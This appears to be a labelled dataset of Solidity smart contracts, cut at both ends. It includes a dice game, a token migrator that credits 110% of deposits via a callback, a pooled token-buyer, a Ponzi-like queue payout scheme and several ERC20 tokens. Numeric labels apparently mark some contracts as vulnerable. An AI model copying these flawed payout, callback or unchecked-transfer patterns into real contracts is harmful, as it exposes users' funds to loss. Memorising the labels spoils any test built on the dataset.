} else if (number == 8) {
return 200;
} else if (number == 9) {
return 300;
} else if (number == 10) {
return 300;
} else if (number == 11) {
return 500;
} else if (number == 12) {
return 1200;
}
}
function processDiceRoll(address player, uint8 roll) private {
Game storage game = gamesInProgress[player];
if (game.firstRoll == 0) {
game.firstRoll = roll;
game.state = GameState.WaitingForDirection;
gamesInProgress[player] = game;
return;
}
uint8 finalRoll = roll;
uint winnings = 0;
if (game.direction == BetDirection.High && finalRoll > game.firstRoll) {
winnings = calculateWinnings(game.bet, getHighWinPercent(game.firstRoll));
} else if (game.direction == BetDirection.Low && finalRoll < game.firstRoll) {
winnings = calculateWinnings(game.bet, getLowWinPercent(game.firstRoll));
}
uint transferAmount = winnings;
if (transferAmount > this.balance) {
if (game.bet < this.balance) {
transferAmount = game.bet;
} else {
transferAmount = SafeMath.div(SafeMath.mul(this.balance, 90), 100);
}
}
balanceInPlay = balanceInPlay - game.bet;
if (transferAmount > 0) {
game.player.transfer(transferAmount);
}
game.finalRoll = finalRoll;
game.winnings = winnings;
game.state = GameState.Finished;
gamesInProgress[player] = game;
GameFinished(player, game.id, game.bet, game.firstRoll, finalRoll, winnings, transferAmount);
}
function rollDie(address player) private {
uint N = 7;
uint delay = 0;
bytes32 _queryId = oraclize_newRandomDSQuery(delay, N, rngCallbackGas);
uint rollId = uint(keccak256(_queryId));
require(failedRolls[rollId] != rollId);
rollIdToGameAddress[rollId] = player;
}
function __callback(bytes32 _queryId, string _result, bytes _proof) public {
uint rollId = uint(keccak256(_queryId));
address player = rollIdToGameAddress[rollId];
require(msg.sender == oraclize_cbAddress());
if (player == address(0)) {
failedRolls[rollId] = rollId;
return;
}
if (oraclize_randomDS_proofVerify__returnCode(_queryId, _result, _proof) != 0) {
Game storage game = gamesInProgress[player];
if (game.bet > 0) {
game.player.transfer(game.bet);
}
delete gamesInProgress[player];
delete rollIdToGameAddress[rollId];
delete failedRolls[rollId];
GameError(player, game.id, rollId);
} else {
uint8 randomNumber = uint8((uint(keccak256(_result)) % NUM_DICE_SIDES) + 1);
processDiceRoll(player, randomNumber);
}
delete rollIdToGameAddress[rollId];
}
function transferBalance(address to, uint amount) public onlyOwner {
to.transfer(amount);
}
function cleanupAbandonedGame(address player) public onlyOwner {
require(player != address(0));
Game storage game = gamesInProgress[player];
require(game.player != address(0));
game.player.transfer(game.bet);
delete gamesInProgress[game.player];
}
function setRNGCallbackGasConfig(uint gas, uint price) public onlyOwner {
rngCallbackGas = gas;
oraclize_setCustomGasPrice(price);
}
function setMinBet(uint bet) public onlyOwner {
minBet = bet;
}
function setGameRunning(bool v) public onlyOwner {
gameRunning = v;
}
function setMaxBetThresholdPct(uint v) public onlyOwner {
maxBetThresholdPct = v;
}
function destroyAndSend(address _recipient) public onlyOwner {
selfdestruct(_recipient);
}
} | 1 | 3,128 |
pragma solidity >=0.6.0 <0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
_status = _ENTERED;
_;
_status = _NOT_ENTERED;
}
}
pragma solidity >=0.6.0 <0.8.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.7.5;
interface ICallable {
function tokenCallback(address _from, uint _tokens, bytes calldata _data) external returns (bool);
}
pragma solidity ^0.7.5;
interface IDrainer {
function drainEth(address payable _beneficiary) external;
function drainTokens(address _token, address _beneficiary, uint _amount) external;
}
pragma solidity ^0.7.5;
abstract contract Drainer is IDrainer, Ownable {
function drainEth(address payable _beneficiary)
public
onlyOwner
virtual
override
{
uint balance = address(this).balance;
_beneficiary.call{ value : balance}("");
}
function drainTokens(address _token, address _beneficiary, uint _amount)
public
onlyOwner
virtual
override
{
require(_amount > 0, "0 amount");
IERC20(_token).transfer(_beneficiary, _amount);
}
}
pragma solidity ^0.7.5;
contract BonkMigrator is Ownable, ReentrancyGuard, Drainer, ICallable {
using SafeMath for uint;
uint public constant CLAIM_PERIOD = 7 days;
IERC20 public oldToken;
IERC20 public newToken;
uint public deadline;
mapping(address => uint) public migrated;
uint public totalMigrated;
event Migrated(address indexed _recipient, uint _amount, uint _timestamp);
constructor(address _oldToken, address _newToken)
{
require(_oldToken != address(0), "Invalid old token address");
require(_newToken != address(0), "Invalid new token address");
oldToken = IERC20(_oldToken);
newToken = IERC20(_newToken);
deadline = _getNow() + CLAIM_PERIOD;
}
modifier beforeDeadline() {
require(_getNow() <= deadline, "Too late");
_;
}
modifier onlyOldBonkToken() {
require(msg.sender == address(oldToken), "Caller is not the old token");
_;
}
function tokenCallback(address _from, uint256 _tokens, bytes calldata _data)
external
override
nonReentrant
beforeDeadline
onlyOldBonkToken
returns (bool)
{
require(_tokens > 0, "Invalid amount");
_tokens = _tokens.mul(110).div(100);
_migrate(_from, _tokens);
return true;
}
function migrateAll()
external
returns (bool)
{
uint balance = oldToken.balanceOf(msg.sender);
return migrate(balance);
}
function migrate(uint _amount)
public
nonReentrant
beforeDeadline
returns (bool)
{
require(_amount > 0, "Invalid amount");
require(oldToken.transferFrom(msg.sender, address(this), _amount), "Transfer failed");
_migrate(msg.sender, _amount);
return true;
}
function drainTokens(address _token, address _beneficiary, uint _amount)
public
override
{
require(_getNow() > deadline, "Too early");
super.drainTokens(_token, _beneficiary, _amount);
}
function _migrate(address _recipient, uint _amount)
internal
{
migrated[_recipient] = migrated[_recipient].add(_amount);
totalMigrated = totalMigrated.add(_amount);
require(newToken.transfer(_recipient, _amount), "Tokens transfer failed");
emit Migrated(_recipient, _amount, _getNow());
}
function _getNow()
internal
view
returns (uint)
{
return block.timestamp;
}
} | 1 | 2,641 |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract WELTCOIN is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function WELTCOIN() public {
symbol = "WCN";
name = "WELT COIN";
decimals = 8;
_totalSupply = 100000000000000000000;
balances[0x7f278332a149436adf6F440B4F27492366AA7e5d] = _totalSupply;
Transfer(address(0), 0x7f278332a149436adf6F440B4F27492366AA7e5d, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 3,119 |
pragma solidity ^0.4.16;
contract ERC20 {
function transfer(address _to, uint256 _value) returns (bool success);
function balanceOf(address _owner) constant returns (uint256 balance);
}
contract EnjinBuyer {
uint256 public eth_minimum = 3270 ether;
mapping (address => uint256) public balances;
uint256 public buy_bounty;
uint256 public withdraw_bounty;
bool public bought_tokens;
uint256 public contract_eth_value;
bool public kill_switch;
bytes32 password_hash = 0x48e4977ec30c7c773515e0fbbfdce3febcd33d11a34651c956d4502def3eac09;
uint256 public earliest_buy_time = 1504188000;
uint256 public eth_cap = 5000 ether;
address public developer = 0xA4f8506E30991434204BC43975079aD93C8C5651;
address public sale;
ERC20 public token;
function set_sale_address(address _sale) {
require(msg.sender == developer);
require(sale == 0x0);
sale = _sale;
}
function activate_kill_switch(string password) {
require(msg.sender == developer || sha3(password) == password_hash);
uint256 claimed_bounty = buy_bounty;
buy_bounty = 0;
kill_switch = true;
msg.sender.transfer(claimed_bounty);
}
function withdraw(address user, address _token){
require(msg.sender == user);
require(bought_tokens || now > earliest_buy_time + 1 hours);
if (balances[user] == 0) return;
if (!bought_tokens) {
uint256 eth_to_withdraw = balances[user];
balances[user] = 0;
user.transfer(eth_to_withdraw);
}
else {
token = ERC20(_token);
uint256 contract_token_balance = token.balanceOf(address(this));
require(contract_token_balance != 0);
uint256 tokens_to_withdraw = (balances[user] * contract_token_balance) / contract_eth_value;
contract_eth_value -= balances[user];
balances[user] = 0;
require(token.transfer(user, tokens_to_withdraw));
}
uint256 claimed_bounty = withdraw_bounty / 100;
withdraw_bounty -= claimed_bounty;
msg.sender.transfer(claimed_bounty);
}
function add_to_buy_bounty() payable {
require(msg.sender == developer);
buy_bounty += msg.value;
}
function add_to_withdraw_bounty() payable {
require(msg.sender == developer);
withdraw_bounty += msg.value;
}
function claim_bounty(){
if (this.balance < eth_minimum) return;
if (bought_tokens) return;
if (now < earliest_buy_time) return;
if (kill_switch) return;
require(sale != 0x0);
bought_tokens = true;
uint256 claimed_bounty = buy_bounty;
buy_bounty = 0;
contract_eth_value = this.balance - (claimed_bounty + withdraw_bounty);
require(sale.call.value(contract_eth_value)());
msg.sender.transfer(claimed_bounty);
}
function () payable {
require(!kill_switch);
require(!bought_tokens);
require(this.balance < eth_cap);
balances[msg.sender] += msg.value;
}
} | 0 | 726 |
pragma solidity ^0.4.25;
contract Multipliers {
address constant private FATHER = 0x7CDfA222f37f5C4CCe49b3bBFC415E8C911D1cD8;
address constant private TECH = 0xDb058D036768Cfa9a94963f99161e3c94aD6f5dA;
address constant private PROMO = 0xdA149b17C154e964456553C749B7B4998c152c9E;
uint constant public FATHER_PERCENT = 1;
uint constant public TECH_PERCENT = 2;
uint constant public PROMO_PERCENT = 2;
uint constant public PRIZE_PERCENT = 2;
uint constant public MAX_INVESTMENT = 10 ether;
uint constant public MIN_INVESTMENT_FOR_PRIZE = 0.05 ether;
uint constant public MAX_IDLE_TIME = 30 minutes;
uint8[] MULTIPLIERS = [
111,
113,
117,
121,
125,
130,
135,
141
];
struct Deposit {
address depositor;
uint128 deposit;
uint128 expect;
}
struct DepositCount {
int128 stage;
uint128 count;
}
struct LastDepositInfo {
uint128 index;
uint128 time;
}
Deposit[] private queue;
uint public currentReceiverIndex = 0;
LastDepositInfo public lastDepositInfo;
uint public prizeAmount = 0;
int public stage = 0;
mapping(address => DepositCount) public depositsMade;
function () public payable {
if(msg.value > 0 && msg.sender != FATHER){
require(gasleft() >= 220000, "We require more gas!");
require(msg.value <= MAX_INVESTMENT, "The investment is too much!");
checkAndUpdateStage();
addDeposit(msg.sender, msg.value);
pay();
}else if(msg.value == 0){
withdrawPrize();
}
}
function pay() private {
uint balance = address(this).balance;
uint128 money = 0;
if(balance > prizeAmount)
money = uint128(balance - prizeAmount);
for(uint i=currentReceiverIndex; i<queue.length; i++){
Deposit storage dep = queue[i];
if(money >= dep.expect){
dep.depositor.send(dep.expect);
money -= dep.expect;
delete queue[i];
}else{
dep.depositor.send(money);
dep.expect -= money;
break;
}
if(gasleft() <= 50000)
break;
}
currentReceiverIndex = i;
}
function addDeposit(address depositor, uint value) private {
DepositCount storage c = depositsMade[depositor];
if(c.stage != stage){
c.stage = int128(stage);
c.count = 0;
}
if(value >= MIN_INVESTMENT_FOR_PRIZE)
lastDepositInfo = LastDepositInfo(uint128(queue.length), uint128(now));
uint multiplier = getDepositorMultiplier(depositor);
queue.push(Deposit(depositor, uint128(value), uint128(value*multiplier/100)));
c.count++;
prizeAmount += value*(FATHER_PERCENT + PRIZE_PERCENT)/100;
uint support = value*TECH_PERCENT/100;
TECH.send(support);
uint adv = value*PROMO_PERCENT/100;
PROMO.send(adv);
}
function checkAndUpdateStage() private{
int _stage = getCurrentStageByTime();
require(_stage >= stage, "We should only go forward in time");
if(_stage != stage){
proceedToNewStage(_stage);
}
}
function proceedToNewStage(int _stage) private {
stage = _stage;
delete queue;
currentReceiverIndex = 0;
delete lastDepositInfo;
}
function withdrawPrize() private {
require(lastDepositInfo.time > 0 && lastDepositInfo.time <= now - MAX_IDLE_TIME, "The last depositor is not confirmed yet");
require(currentReceiverIndex <= lastDepositInfo.index, "The last depositor should still be in queue");
uint balance = address(this).balance;
if(prizeAmount > balance)
prizeAmount = balance;
uint donation = prizeAmount*FATHER_PERCENT/(FATHER_PERCENT + PRIZE_PERCENT);
require(gasleft() >= 250000, "We need gas for the father contract");
FATHER.call.value(donation).gas(gasleft())();
uint prize = prizeAmount - donation;
queue[lastDepositInfo.index].depositor.send(prize);
prizeAmount = 0;
proceedToNewStage(stage + 1);
}
function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){
Deposit storage dep = queue[idx];
return (dep.depositor, dep.deposit, dep.expect);
}
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
function getDeposits(address depositor) public view returns (uint[] idxs, uint128[] deposits, uint128[] expects) {
uint c = getDepositsCount(depositor);
idxs = new uint[](c);
deposits = new uint128[](c);
expects = new uint128[](c);
if(c > 0) {
uint j = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
Deposit storage dep = queue[i];
if(dep.depositor == depositor){
idxs[j] = i;
deposits[j] = dep.deposit;
expects[j] = dep.expect;
j++;
}
}
}
}
function getQueueLength() public view returns (uint) {
return queue.length - currentReceiverIndex;
}
function getDepositorMultiplier(address depositor) public view returns (uint) {
DepositCount storage c = depositsMade[depositor];
uint count = 0;
if(c.stage == getCurrentStageByTime())
count = c.count;
if(count < MULTIPLIERS.length)
return MULTIPLIERS[count];
return MULTIPLIERS[MULTIPLIERS.length - 1];
}
function getCurrentStageByTime() public view returns (int) {
return int(now - 17 hours) / 1 days - 17836;
}
function getStageStartTime(int _stage) public pure returns (int) {
return 17 hours + (_stage + 17836)*1 days;
}
function getCurrentCandidateForPrize() public view returns (address addr, int timeLeft){
Deposit storage d = queue[lastDepositInfo.index];
addr = d.depositor;
timeLeft = int(lastDepositInfo.time + MAX_IDLE_TIME) - int(now);
}
} | 0 | 826 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "JungleToken";
string public constant TOKEN_SYMBOL = "JT";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0xC382aed23B5e13976791Fb3D2aa588865EA81C92;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 0 | 1,521 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
